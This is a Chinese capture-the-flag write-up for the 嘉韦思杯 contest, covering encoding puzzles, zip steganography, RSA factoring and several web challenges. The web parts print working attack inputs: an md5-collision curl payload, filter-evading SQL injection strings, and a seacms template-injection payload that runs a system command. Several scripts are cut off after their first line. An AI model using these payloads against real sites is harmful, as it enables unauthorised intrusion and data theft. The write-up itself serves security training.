嘉韦思杯wp
由于比赛平台关了,以下题目顺序不是比赛题目顺序。
第一题:
47.103.43.235:85/b/第一题_js?.txt
页面内容是base64,解密后是jshuck,放入浏览器console中运行,
得到flag。
第二题:
http://47.103.43.235:82/crypto/a/index.php
页面内容是base64加密的 , 解密后仍然是base64,只不过最后的’=’被url编码
url解码后,继续base64解码,以这种方式解密,直到出现
fB__l621a4h4g_ai{&i}
,栅栏密码解密。
第三题:
http://47.103.43.235:82/web/a/index.php
打开页面
写脚本提交。
1 | import requests |
第四题
打开之后是一个二维码
思路:
利用binwalk查看图片
利用dd命令分离出zip文件
利用ZipCenOp.jar尝试是不是zip伪加密
仍然打不开文件。
利用fcrackzip爆破zip密码
赛后发现,可以直接用binwalk分离文件。
第五题
sha1函数比较绕过,参数传入数组绕过。
第六题
关键代码:
1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])) |
尝试param1[]=1¶m2[]=2,无果
将代码复制到本地测试,发现(string)无法将数组转换为字符串,返回flase。
将代码放到谷歌搜索,找到利用方式
1 | curl -v 题目url -H "Cookie: PHPSESSID=本地cookie值" --data "param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2" |
第七题
sql注入1
没有任何过滤,爆数据库,爆表名,爆字段。读取数据
第八题
sql注入2
过滤or
、空格、select
、union
、=
空格用/**/
绕过,=
用like绕过,or
和select
双写绕过
这题的id参数值是倒序的base64编码。
构造sql语句,转为base64,倒序。
看有报错,尝试报错注入,结果不行…
尝试盲注
0/**/order/**/by/**/6#
==wI28iKq8Sei9iKq8iclRmcv9iKq8CM
测试出6个字段。
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,database()#
1 | 0/**/uunionnion/**/selselectect/**/1,2,3,4,5,table_name/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()# |
1 | 0/**/uunionnion/**/selselectect/**/1,2,3,4,5,column_name/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'flag'# |
1 | 0/**/uunionnion/**/selselectect/**/1,2,3,4,5,flag/**/from/**/flag# |
总结做题思路
测试注入参数的长度限制,fuzz过滤字符,构造sql语句。
第九题
seacms
谷歌找seacms漏洞
最终
1 | searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=sy&9[]=stem('cd ../../;cat flag.txt'); |
第十题
猜解字符串含义
1 | bg[`sZ*Zg'dPfP`VM_SXVd |
1 | bg[`sZ*Zg'dPfP`VM_SXVd |
脚本
1 | str='bg[`sZ*Zg\'dPfP`VM_SXVd' |
第十一题
RSA256
下载到gy.key和fllllllag.txt文件
利用kali linux的openssl
e就是Exponent的值
n的十六进制为Modules 我们用python转成十进制
使用http://factordb.com 将n进行因式分解来得到我们的p和q
上脚本
1 | import gmpy |